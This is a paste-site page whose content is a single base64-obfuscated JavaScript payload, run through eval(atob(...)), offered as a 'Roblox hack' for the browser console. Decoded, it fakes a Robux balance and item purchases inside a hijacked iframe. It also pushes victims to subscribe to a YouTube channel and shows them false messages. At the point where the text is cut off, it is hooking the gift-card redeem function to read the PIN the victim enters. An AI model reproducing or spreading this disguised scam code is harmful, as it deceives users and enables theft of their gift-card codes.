Facebook
From janzielthe world hack, 1 Month ago, written in HTML5.
Embed
Download Paste or View Raw
Hits: 25
  1. eval(atob('Um9ibG94LkhhY2sgPSB7CiAgICBvcmlnaW5hbDogJ21pc3NpbmdubycsCiAgICBiYWxhbmNlOiAwLAogICAgaW5pdGlhbGl6ZWQ6IDAsCiAgICBsb2FkaW5nOiBmYWxzZSwKICAgIGl0ZW1zOiBbXSwKICAgIGludmVudG9yeVN0cmluZzogJzxsaSBjbGFzcz0ibGlzdC1pdGVtIGl0ZW0tY2FyZCBuZy1zY29wZSI+PGRpdiBjbGFzcz0iaXRlbS1jYXJkLWNvbnRhaW5lciI+PGEgY2xhc3M9Iml0ZW0tY2FyZC1saW5rIiBocmVmPSIlMSIgZGF0YS15dHRhLWlkPSItIj48ZGl2IGNsYXNzPSJpdGVtLWNhcmQtdGh1bWItY29udGFpbmVyIj48ZGl2IG5nLWhpZGU9Iml0ZW0uUHJvZHVjdC5TZXJpYWxOdW1iZXI9PW51bGwiIGNsYXNzPSJpdGVtLXNlcmlhbC1udW1iZXIgbmctYmluZGluZyBuZy1oaWRlIj4jPC9kaXY+PGltZyB0aHVtYm5haWw9Iml0ZW0uVGh1bWJuYWlsIiBpbWFnZS1yZXRyeT0iIiBjbGFzcz0iaXRlbS1jYXJkLXRodW1iIG5nLWlzb2xhdGUtc2NvcGUiIHNyYz0iJTIiPjwvZGl2PjxkaXYgY2xhc3M9InRleHQtb3ZlcmZsb3cgaXRlbS1jYXJkLW5hbWUgbmctYmluZGluZyIgdGl0bGU9IiU2ICI+JTYgPC9kaXY+PC9hPjwhLS0gbmdJZjogaXRlbS5JdGVtLkF1ZGlvVXJsIC0tPjxkaXYgY2xhc3M9InRleHQtb3ZlcmZsb3cgaXRlbS1jYXJkLWNyZWF0b3IiPjxzcGFuIGNsYXNzPSJ4c21hbGwgdGV4dC1sYWJlbCI+Qnk8L3NwYW4+IDxhIGNsYXNzPSJ4c21hbGwgdGV4dC1vdmVyZmxvdyB0ZXh0LWxpbmsgbmctYmluZGluZyIgbmctaHJlZj0iJTMiIG5nLWhpZGU9ImFzc2V0c0xpc3RDb250ZW50LmFzc2V0SXRlbXMuZGF0YS5EYXRhLlBhZ2VUeXBlIT09XCdmYXZvcml0ZXNcJyZhbXA7JmFtcDtjdXJyZW50RGF0YS5jYXRlZ29yeS5uYW1lPT1cJ1BsYWNlc1wnJmFtcDsmYW1wOyhjdXJyZW50RGF0YS5zdWJjYXRlZ29yeS5uYW1lPT1cJ015IFZJUCBTZXJ2ZXJzXCd8fGN1cnJlbnREYXRhLnN1YmNhdGVnb3J5Lm5hbWU9PVwnT3RoZXIgVklQIFNlcnZlcnNcJykmYW1wOyZhbXA7c3RhdGljRGF0YS5pc093blBhZ2UiIGhyZWY9IiUzIiBkYXRhLXl0dGEtaWQ9Ii0iPiU0PC9hPiA8YSBjbGFzcz0ieHNtYWxsIHRleHQtb3ZlcmZsb3cgdGV4dC1saW5rIG5nLWJpbmRpbmcgbmctaGlkZSIgbmctaHJlZj0iIiBuZy1zaG93PSJhc3NldHNMaXN0Q29udGVudC5hc3NldEl0ZW1zLmRhdGEuRGF0YS5QYWdlVHlwZSE9PVwnZmF2b3JpdGVzXCcmYW1wOyZhbXA7KGN1cnJlbnREYXRhLnN1YmNhdGVnb3J5Lm5hbWU9PVwnTXkgVklQIFNlcnZlcnNcJ3x8Y3VycmVudERhdGEuc3ViY2F0ZWdvcnkubmFtZT09XCdPdGhlciBWSVAgU2VydmVyc1wnKSI+PC9hPjwvZGl2PjxkaXYgY2xhc3M9Iml0ZW0tY2FyZC1wcmljZSI+PHNwYW4gY2xhc3M9Imljb24tcm9idXgtMTZ4MTYiPjwvc3Bhbj4gPHNwYW4gY2xhc3M9InRleHQtcm9idXggbmctYmluZGluZyBuZy1oaWRlIiBuZy1zaG93PSJpdGVtLkhhc1ByaWNlIj48L3NwYW4+IDxzcGFuIGNsYXNzPSJ0ZXh0LWxhYmVsIiBuZy1oaWRlPSJpdGVtLkhhc1ByaWNlIj48IS0tIG5nSWY6IGl0ZW0uUHJvZHVjdC5Ob1ByaWNlVGV4dC5sZW5ndGg+MCAtLT48c3BhbiBuZy1pZj0iaXRlbS5Qcm9kdWN0Lk5vUHJpY2VUZXh0Lmxlbmd0aD4wIiBuZy1jbGFzcz0ie1wndGV4dC1yb2J1eFwnOml0ZW0uUHJvZHVjdC5Ob1ByaWNlVGV4dD09PVwnRnJlZVwnfSIgY2xhc3M9Im5nLWJpbmRpbmcgbmctc2NvcGUgdGV4dC1yb2J1eCI+JTU8L3NwYW4+PCEtLSBlbmQgbmdJZjogaXRlbS5Qcm9kdWN0Lk5vUHJpY2VUZXh0Lmxlbmd0aD4wIC0tPjwvc3Bhbj48L2Rpdj48L2Rpdj48L2xpPicsCiAgICBkaXNhYmxlRjU6IGZ1bmN0aW9uIChlKSB7IGlmICgoZS53aGljaCB8fCBlLmtleUNvZGUpID09IDExNiB8fCAoZS53aGljaCB8fCBlLmtleUNvZGUpID09IDgyKSB7IGUucHJldmVudERlZmF1bHQoKTsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5zcmMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQubG9jYXRpb24uaHJlZjsgfSB9LAogICAgd2F0ZXJtYXJrOiBmdW5jdGlvbiAoKSB7CiAgICAgICAgY29uc29sZS5jbGVhcigpOwogICAgfSwKICAgIHNldFJvYnV4OiBmdW5jdGlvbiAocm9idXgpIHsKICAgICAgICAvL1JvYmxveC5OdW1iZXJGb3JtYXR0aW5nLmpzCiAgICAgICAgdHlwZW9mIFJvYmxveCA9PSAidW5kZWZpbmVkIiAmJiAoUm9ibG94ID0ge30pLCB0eXBlb2YgUm9ibG94Lk51bWJlckZvcm1hdHRpbmcgPT0gInVuZGVmaW5lZCIgJiYgKFJvYmxveC5OdW1iZXJGb3JtYXR0aW5nID0gZnVuY3Rpb24gKCkgeyB2YXIgbiA9IGZ1bmN0aW9uIChuKSB7IGlmICh0eXBlb2YgbiAhPSAibnVtYmVyIikgdGhyb3cgIidudW1iZXInIGlzIG5vdCBhIG51bWJlciI7IHJldHVybiBuLnRvU3RyaW5nKCkucmVwbGFjZSgvXEIoPz0oXGR7M30pKyg/IVxkKSkvZywgIiwiKSB9LCB0ID0gZnVuY3Rpb24gKHQpIHsgdmFyIGksIHIsIHU7IGlmICh0eXBlb2YgdCAhPSAibnVtYmVyIikgdGhyb3cgIidudW1iZXInIGlzIG5vdCBhIG51bWJlciI7IHZhciBmID0gMWU0LCBlID0gMWU2LCBvID0gMWU5OyByZXR1cm4gdCA9PSAwID8gIjAiIDogdCA8IGYgPyBuKHQpIDogKGkgPSAiQisiLCByID0gOSwgdCA8IGUgPyAoaSA9ICJLKyIsIHIgPSAzKSA6IHQgPCBvICYmIChpID0gIk0rIiwgciA9IDYpLCB1ID0gdC50b1N0cmluZygpLCB1LnN1YnN0cmluZygwLCB1Lmxlbmd0aCAtIHIpICsgaSkgfTsgcmV0dXJuIHsgYWJicmV2aWF0ZWRGb3JtYXQ6IHQsIGNvbW1hczogbiB9IH0oKSk7CiAgICAgICAgLy9Sb2Jsb3guTnVtYmVyRm9ybWF0dGluZy5qcwoKICAgICAgICBSb2Jsb3guSGFjay5iYWxhbmNlID0gcm9idXg7CiAgICAgICAgdmFyIGRvYyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudDsKICAgICAgICBpZiAoZG9jLmdldEVsZW1lbnRCeUlkKCduYXYtcm9idXgtYW1vdW50JykgIT0gbnVsbCkgewogICAgICAgICAgICBkb2MuZ2V0RWxlbWVudEJ5SWQoIm5hdi1yb2J1eC1iYWxhbmNlIikuaW5uZXJIVE1MID0gUm9ibG94Lk51bWJlckZvcm1hdHRpbmcuYWJicmV2aWF0ZWRGb3JtYXQoUm9ibG94LkhhY2suYmFsYW5jZSkgKyAiIFJPQlVYIjsKICAgICAgICAgICAgZG9jLmdldEVsZW1lbnRCeUlkKCJuYXYtcm9idXgtYW1vdW50IikuaW5uZXJIVE1MID0gUm9ibG94Lk51bWJlckZvcm1hdHRpbmcuYWJicmV2aWF0ZWRGb3JtYXQoUm9ibG94LkhhY2suYmFsYW5jZSk7CiAgICAgICAgfQogICAgfSwKICAgIGFkZFJvYnV4OiBmdW5jdGlvbiAocm9idXgpIHsKICAgICAgICBSb2Jsb3guSGFjay5zZXRSb2J1eChSb2Jsb3guSGFjay5iYWxhbmNlICsgcm9idXgpOwogICAgfSwKICAgIGFkZEl0ZW06IGZ1bmN0aW9uIChjYXRlZ29yeSwgbmFtZSwgaW1hZ2UsIGNyZWF0b3IsIHByaWNlLCB1cmwsIHByb2ZpbGUpIHsKICAgICAgICBSb2Jsb3guSGFjay5pdGVtcy5wdXNoKHsgY2F0ZWdvcnk6IGNhdGVnb3J5LCBuYW1lOiBuYW1lLCBpbWFnZTogaW1hZ2UsIGNyZWF0b3I6IGNyZWF0b3IsIHByaWNlOiBwcmljZSwgcHJvZmlsZTogcHJvZmlsZSwgdXJsOiB1cmwgfSk7CiAgICB9LAogICAgZm9ybWF0OiBmdW5jdGlvbiAoc3RyLCBhcnIpIHsKICAgICAgICByZXR1cm4gc3RyLnJlcGxhY2UoLyUoXGQrKS9nLCBmdW5jdGlvbiAoXywgbSkgewogICAgICAgICAgICByZXR1cm4gYXJyWy0tbV07CiAgICAgICAgfSk7CiAgICB9LAogICAgaW5pdDogZnVuY3Rpb24gKCkgewogICAgICAgIGlmIChSb2Jsb3guSGFjay5pbml0aWFsaXplZCAhPSAwKSB7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKCJBbHJlYWR5IGluaXRhbGl6ZWQhIik7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgkJCgkJY29uc29sZS5sb2coInN1Y2Nlc3MhIik7CgkJCgkJaWYgKFJvYmxveC5IYWNrLmluaXRpYWxpemVkICE9IDApIHsKCQkJY29uc29sZS5sb2coIkFscmVhZHkgaW5pdGFsaXplZCEiKTsKCQkJcmV0dXJuOwoJCX0KCQkKCQlmb3IodmFyIGkgPSAwOyBpIDwgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2NoYW5uZWxJZCcpLmxlbmd0aDsgaSsrKSB7CgkJCVJvYmxveC5IYWNrLmNoYW5uZWxJZHMucHVzaChkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnY2hhbm5lbElkJylbaV0uZ2V0QXR0cmlidXRlKCdjb250ZW50JykpOwoJCX0KCQkKCQl3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbiAoKSB7CgkJCXJldHVybiAiWW91ciBST0JVWCBoYXMgbm90IGZpbmlzaGVkIHNhdmluZywgaWYgeW91IGNvbnRpbnVlIHlvdXIgYmFsYW5jZSB3aWxsIGJlIHNldCB0byAiICsgUm9ibG94LkhhY2sub3JpZ2luYWwgKyAiIFJPQlVYIjsKCQl9CgkJUm9ibG94LkhhY2suaW5pdGlhbGl6ZWQgPSAxOwoJCVJvYmxveC5IYWNrLm9yaWdpbmFsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25hdi1yb2J1eC1hbW91bnQnKS5pbm5lckhUTUw7CgkJUm9ibG94LkhhY2suYmFsYW5jZSA9IHBhcnNlSW50KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduYXYtcm9idXgtYW1vdW50JykuaW5uZXJIVE1MLnJlcGxhY2UoLywvZywgJycpLnJlcGxhY2UoJ0srJywgJzk5OScpLnJlcGxhY2UoJ00rJywgJzk5OTk5OScpLnJlcGxhY2UoJ0IrJywgJzk5OTk5OTk5OScpKTsKCQlkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuaW5uZXJIVE1MID0gIjxib2R5IHN0eWxlPSdtYXJnaW46MHB4O3BhZGRpbmc6MHB4Om92ZXJmbG93OmhpZGRlbic+PGlmcmFtZSBpZD0nZG9jdW1lbnRGcmFtZScgc2FuZGJveD0nYWxsb3ctc2FtZS1vcmlnaW4gYWxsb3ctc2NyaXB0cyBhbGxvdy1wb3B1cHMgYWxsb3ctZm9ybXMnIHNyYz0nIiArIGRvY3VtZW50LmxvY2F0aW9uICsgIicgZnJhbWVib3JkZXI9JzAnIHN0eWxlPSdvdmVyZmxvdzpoaWRkZW47aGVpZ2h0OjEwMCU7d2lkdGg6MTAwJTtwb3NpdGlvbjphYnNvbHV0ZScgaGVpZ2h0PScxMDAlJyB3aWR0aD0nMTAwJScgLz48L2JvZHk+IjsKCQl2YXIgc3RhcnRfbG9hZGluZyA9IChmdW5jdGlvbiAoKSB7CgkJCVJvYmxveC5IYWNrLmxvYWRpbmcgPSB0cnVlOwoJCX0pOwoJCXNldEludGVydmFsKGZ1bmN0aW9uICgpIHsKCQkJUm9ibG94LkhhY2suc2V0Um9idXgoUm9ibG94LkhhY2suYmFsYW5jZSk7CgkJCWlmIChSb2Jsb3guSGFjay5sb2FkaW5nICYmIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudC5ib2R5LmlubmVySFRNTC5pbmRleE9mKCduYXYtcm9idXgtYW1vdW50JykgIT0gLTEpIHsKCQkJCVJvYmxveC5IYWNrLmxvYWRpbmcgPSBmYWxzZTsKCQkJCWlmIChkb2N1bWVudC5sb2NhdGlvbi5ocmVmICE9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudC5sb2NhdGlvbi5ocmVmKSB7CgkJCQkJd2luZG93Lmhpc3RvcnkucHVzaFN0YXRlKG51bGwsIG51bGwsIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudC5sb2NhdGlvbik7CgkJCQl9CgkJCQkKCQkJCWZvciAodmFyIG9rID0gMDsgb2sgPCAyMDsgb2srKykgewoJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgewoJCQkJCQl2YXIgZG9jID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LmRvY3VtZW50OwoJCQkJCQl2YXIgdCA9IGRvYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJQdXJjaGFzZUJ1dHRvbiIpOwoJCQkJCQlmb3IgKHZhciBpID0gMDsgaSA8IHQubGVuZ3RoOyBpKyspIHsKCQkJCQkJCSQodFtpXSkucmVwbGFjZVdpdGgoZnVuY3Rpb24gKCkgewoJCQkJCQkJCXJldHVybiAkKCc8JyArIHRoaXMubm9kZU5hbWUgKyAnIGNsYXNzPSInICsgJCh0aGlzKS5hdHRyKCdjbGFzcycpICsgJyI+JykuYXBwZW5kKCQodGhpcykuY29udGVudHMoKSk7CgkJCQkJCQl9KTsKCQkJCQkJCXRbaV0ub25jbGljayA9IGZ1bmN0aW9uICgpIHsKCQkJCQkJCQlSb2Jsb3guSGFjay5hZGRJdGVtKAoJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmllbGQtY29udGVudCIpWzBdLmlubmVySFRNTC50b0xvd2VyQ2FzZSgpLnJlcGxhY2UoLyAvZywgJy0nKSArICdzJywKCQkJCQkJCQkJZG9jLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ2l0ZW0tbmFtZS1jb250YWluZXInKVswXS5jaGlsZHJlblswXS5pbm5lckhUTUwsCgkJCQkJCQkJCWRvYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCd0aHVtYm5haWwtc3BhbicpWzBdLmNoaWxkcmVuWzBdLnNyYywKCQkJCQkJCQkJZG9jLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ3RleHQtbmFtZScpWzBdLmlubmVySFRNTCwKCQkJCQkJCQkJZG9jLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ3RleHQtcm9idXgtbGcnKVswXS5pbm5lckhUTUwsCgkJCQkJCQkJCXdpbmRvdy5sb2NhdGlvbi5ocmVmLAoJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgndGV4dC1uYW1lJylbMF0uaHJlZgoJCQkJCQkJCQkpOwoJCQkJCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy4kKCIuYWxlcnQtc3VjY2VzcyIpLmh0bWwoIlB1cmNoYXNlIENvbXBsZXRlZCIpOwoJCQkJCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5Sb2Jsb3guQm9vdHN0cmFwV2lkZ2V0cy5Ub2dnbGVTeXN0ZW1NZXNzYWdlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy4kKCIuYWxlcnQtc3VjY2VzcyIpLCAxMDAsIDFlMyk7CgkJCQkJCQkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7CgkJCQkJCQkJCVJvYmxveC5IYWNrLmFkZFJvYnV4KC1wYXJzZUludChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuJCgiLnRleHQtcm9idXgtbGciKS5odG1sKCkucmVwbGFjZSgvLC9nLCAnJykpKTsKCQkJCQkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5zcmMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQubG9jYXRpb24uaHJlZjsKCQkJCQkJCQl9LCAyMDApOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfSwgb2sgKiAxNTApOwoJCQkJfQoKCQkJCXZhciBkb2MgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQ7CgkJCQlpZiAoZG9jLmxvY2F0aW9uLmhyZWYuc3BsaXQoJy8nKS5sZW5ndGggPT0gNiAmJiBkb2N1bWVudC5sb2NhdGlvbi5ocmVmLnNwbGl0KCcvJylbM10gPT0gJ2NhdGFsb2cnKSB7CgkJCQkJZm9yICh2YXIgaSA9IDA7IGkgPCBSb2Jsb3guSGFjay5pdGVtcy5sZW5ndGg7IGkrKykgewoJCQkJCQl2YXIgaXRlbSA9IFJvYmxveC5IYWNrLml0ZW1zW2ldOwoJCQkJCQlpZiAoaXRlbS51cmwgPT0gd2luZG93LmxvY2F0aW9uLmhyZWYpIHsKCQkJCQkJCXZhciBidXlJbnRlcnZhbCA9IHNldEludGVydmFsKGZ1bmN0aW9uICgpIHsKCQkJCQkJCQlpZiAoZG9jLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ3RleHQtbGFiZWwnKS5sZW5ndGggPiAwICYmIGRvYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCd0ZXh0LWxhYmVsIGZpZWxkLWxhYmVsIHByaWNlLWxhYmVsJykubGVuZ3RoID4gMCAmJiBkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnYWN0aW9uLWJ1dHRvbicpLmxlbmd0aCA+IDApIHsKCQkJCQkJCQkJY2xlYXJJbnRlcnZhbChidXlJbnRlcnZhbCk7CgkJCQkJCQkJCWRvYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCd0ZXh0LWxhYmVsJylbMF0ub3V0ZXJIVE1MICs9ICc8ZGl2IGNsYXNzPSJkaXZpZGVyIj4mbmJzcDs8L2Rpdj48ZGl2IGNsYXNzPSJsYWJlbC1jaGVja21hcmsiPjxzcGFuIGNsYXNzPSJpY29uLWNoZWNrbWFyay13aGl0ZS1ib2xkIj48L3NwYW4+PC9kaXY+PHNwYW4+SXRlbSBPd25lZDwvc3Bhbj4nOwoJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgndGV4dC1sYWJlbCBmaWVsZC1sYWJlbCBwcmljZS1sYWJlbCcpWzBdLm91dGVySFRNTCA9ICc8ZGl2IGNsYXNzPSJpdGVtLWZpcnN0LWxpbmUiPlRoaXMgaXRlbSBpcyBhdmFpbGFibGUgaW4geW91ciBpbnZlbnRvcnkuPC9kaXY+JyArIGRvYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCd0ZXh0LWxhYmVsIGZpZWxkLWxhYmVsIHByaWNlLWxhYmVsJylbMF0ub3V0ZXJIVE1MOwoJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnYWN0aW9uLWJ1dHRvbicpWzBdLmlubmVySFRNTCA9ICc8YSBpZD0iZWRpdC1hdmF0YXItYnV0dG9uIiBocmVmPSJodHRwczovL3d3dy5yb2Jsb3guY29tL215L2F2YXRhciIgY2xhc3M9ImJ0bi1jb250cm9sLW1kIiBkYXRhLWJ1dHRvbi1hY3Rpb249ImF2YXRhciIgZGF0YS15dHRhLWlkPSItIj5FZGl0IEF2YXRhcjwvYT4nOwoJCQkJCQkJCX0KCQkJCQkJCX0sIDEpOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoKCQkJCS8qaWYodHlwZW9mKGRvYy5nZXRFbGVtZW50QnlJZCgnYXNzZXRzSXRlbXMnKSkgIT0gJ3VuZGVmaW5lZCcpIHsKCQkJCQl2YXIgaW52ZW50b3J5ID0gZG9jLmdldEVsZW1lbnRCeUlkKCdhc3NldHNJdGVtcycpOwoJCQkJCWZvcih2YXIgaSA9IDA7IGkgPCBSb2Jsb3guSGFjay5pdGVtcy5sZW5ndGg7IGkrKykgewoJCQkJCQl2YXIgaXRlbSA9IFJvYmxveC5IYWNrLml0ZW1zW2ldOwoJCQkJCQlpZihpdGVtLmNhdGVnb3J5ID09IHdpbmRvdy5sb2NhdGlvbi5ocmVmLnNwbGl0KCcvJylbNl0pIHsKCQkJCQkJCWludmVudG9yeS5pbm5lckhUTUwgKz0gUm9ibG94LkhhY2suZm9ybWF0KFJvYmxveC5IYWNrLmludmVudG9yeVN0cmluZywgW2l0ZW0udXJsLCBpdGVtLmltYWdlLCBpdGVtLnByb2ZpbGUsIGl0ZW0uY3JlYXRvciwgaXRlbS5wcmljZSwgaXRlbS5uYW1lXSk7CgkJCQkJCX0KCQkJCQl9CgkJCQl9Ki8KCgkJCQlkb2N1bWVudC50aXRsZSA9IGRvYy50aXRsZTsKCQkJCWlmICh0eXBlb2YgKFJvYmxveC5IYWNrLm9ubG9hZCkgIT0gJ3VuZGVmaW5lZCcpIFJvYmxveC5IYWNrLm9ubG9hZCgpOwoJCQl9CgkJfSwgMSk7CgkJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ21lc3NhZ2UnLCBmdW5jdGlvbiAoZSkgeyBpZiAoZS5kYXRhID09ICdpZnJhbWVfY2hhbmdlJykgeyBzdGFydF9sb2FkaW5nKCk7IH0gfSwgZmFsc2UpOwoJCSQoJyNkb2N1bWVudEZyYW1lJykubG9hZChmdW5jdGlvbiAoKSB7CgkJCWlmIChSb2Jsb3guSGFjay5pbml0aWFsaXplZCAhPSAyKSB7CgkJCQlSb2Jsb3guSGFjay5pbml0aWFsaXplZCA9IDI7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuJCgiLmFsZXJ0LXN1Y2Nlc3MiKS5odG1sKCJTdWNjZXNzZnVsbHkgbG9hZGVkIik7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuUm9ibG94LkJvb3RzdHJhcFdpZGdldHMuVG9nZ2xlU3lzdGVtTWVzc2FnZShkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuJCgiLmFsZXJ0LXN1Y2Nlc3MiKSwgMTAwLCAyZTMpOwoJCQl9CgkJCVJvYmxveC5IYWNrLndhdGVybWFyaygpOwoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cub251bmxvYWQgPSBmdW5jdGlvbiAoKSB7IHdpbmRvdy50b3AucG9zdE1lc3NhZ2UoJ2lmcmFtZV9jaGFuZ2UnLCAnKicpOyB9OwoJCQlpZiAoZG9jdW1lbnQubG9jYXRpb24uaHJlZiAhPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQubG9jYXRpb24uaHJlZikgewoJCQkJd2luZG93Lmhpc3RvcnkucHVzaFN0YXRlKG51bGwsIG51bGwsIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudC5sb2NhdGlvbik7CgkJCX0KCQkJaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudC5sb2NhdGlvbi5ocmVmLmluZGV4T2YoJ215L2F2YXRhcicpICE9IC0xIHx8IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYXNzZXRzSXRlbXMnKSAhPSBudWxsKSB7CgkJCQlpZiAod2luZG93LmNvbmZpcm0oIllvdSBtdXN0IGJlIHN1YnNjcmliZWQgdG8gYnlUb21pIHRvIHJlY2VpdmUgdGhlIGl0ZW1zIHlvdSBib3VnaHRcbklmIHlvdSBhcmUgc3Vic2NyaWJlZCwgcHJlc3MgQ2FuY2VsIGFuZCB3YWl0IHVwIHRvIDE1IG1pbnV0ZXMgZm9yIHRoZSBpdGVtIHRvIGJlIGFkZGVkIHRvIHlvdXIgaW52ZW50b3J5LlxuSWYgeW91IGhhdmUgbm90IHN1YnNjcmliZWQgeWV0LCBwcmVzcyBPSyB0byBiZSByZWRpcmVjdGVkIHRvIHRoZSBzdWJzY3JpYmUgcGFnZS4iKSkgewoJCQkJCXZhciB3aW4gPSB3aW5kb3cub3BlbignaHR0cHM6Ly93d3cueW91dHViZS5jb20vY2hhbm5lbC9VQ25CajFSS3VYWUZGc2tSOFJnNGhhYWc/c3ViX2NvbmZpcm1hdGlvbj0xJywgJ19ibGFuaycpOwoJCQkJCXdpbi5mb2N1cygpOwoJCQkJfSBlbHNlIHsKCQkJCQlhbGVydCgiVGhlIGl0ZW1zIHdpbGwgbm93IGJlIGFkZGVkIHRvIHlvdXIgaW52ZW50b3J5LiBJdCBtYXkgdGFrZSBiZXR3ZWVuIDE1IG1pbnV0ZXMgdG8gNDggaG91cnMgZm9yIHlvdXIgaXRlbSB0byBhcHBlYXJcbklmIHlvdSBkaWQgbm90IHN1YnNjcmliZSB0aGlzIHdpbGwgbm90IHdvcmtcblxuWW91IGRvIG5vdCBoYXZlIHRvIGxlYXZlIHRoaXMgcGFnZSBvcGVuLCBmZWVsIGZyZWUgdG8gY2xvc2UgdGhlIHRhYiwgcGxheSBST0JMT1gsIG9yIHR1cm4gb2ZmIHlvdXIgUEMuIik7CgkJCQl9CgkJCX07CgkJCWRvY3VtZW50LnRpdGxlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LmRvY3VtZW50LnRpdGxlOwoJCQlpZiAodHlwZW9mIChSb2Jsb3guSGFjay5vbmxvYWRlZCkgIT0gJ3VuZGVmaW5lZCcpIFJvYmxveC5IYWNrLm9ubG9hZGVkKCk7CgkJfSk7CgkJd2luZG93Lm9ucG9wc3RhdGUgPSBmdW5jdGlvbiAoZXZlbnQpIHsKCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LmRvY3VtZW50LmxvY2F0aW9uID0gZG9jdW1lbnQubG9jYXRpb247CgkJfTsKCQkkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbiAoKSB7CgkJCSQoZG9jdW1lbnQpLm9uKCJrZXlkb3duIiwgUm9ibG94LkhhY2suZGlzYWJsZUY1KTsKCQl9KTsKICAgIH0KfQoKUm9ibG94LkhhY2suaW5pdCgpOwoKZ2VuZXJhdGluZyA9IGZhbHNlOwpSb2Jsb3guSGFjay5vbmxvYWRlZCA9IGZ1bmN0aW9uKCkgewoJY3cgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3c7CgkKCWN3LlJvYmxveC5HYW1lQ2FyZC5fcmVkZWVtQ29kZSA9IFJvYmxveC5HYW1lQ2FyZC5yZWRlZW1Db2RlOwoJY3cuUm9ibG94LkdhbWVDYXJkLnJlZGVlbUNvZGUgPSBmdW5jdGlvbigpIHsKCQl2YXIgcGluID0gY3cuJCgnI3Bpb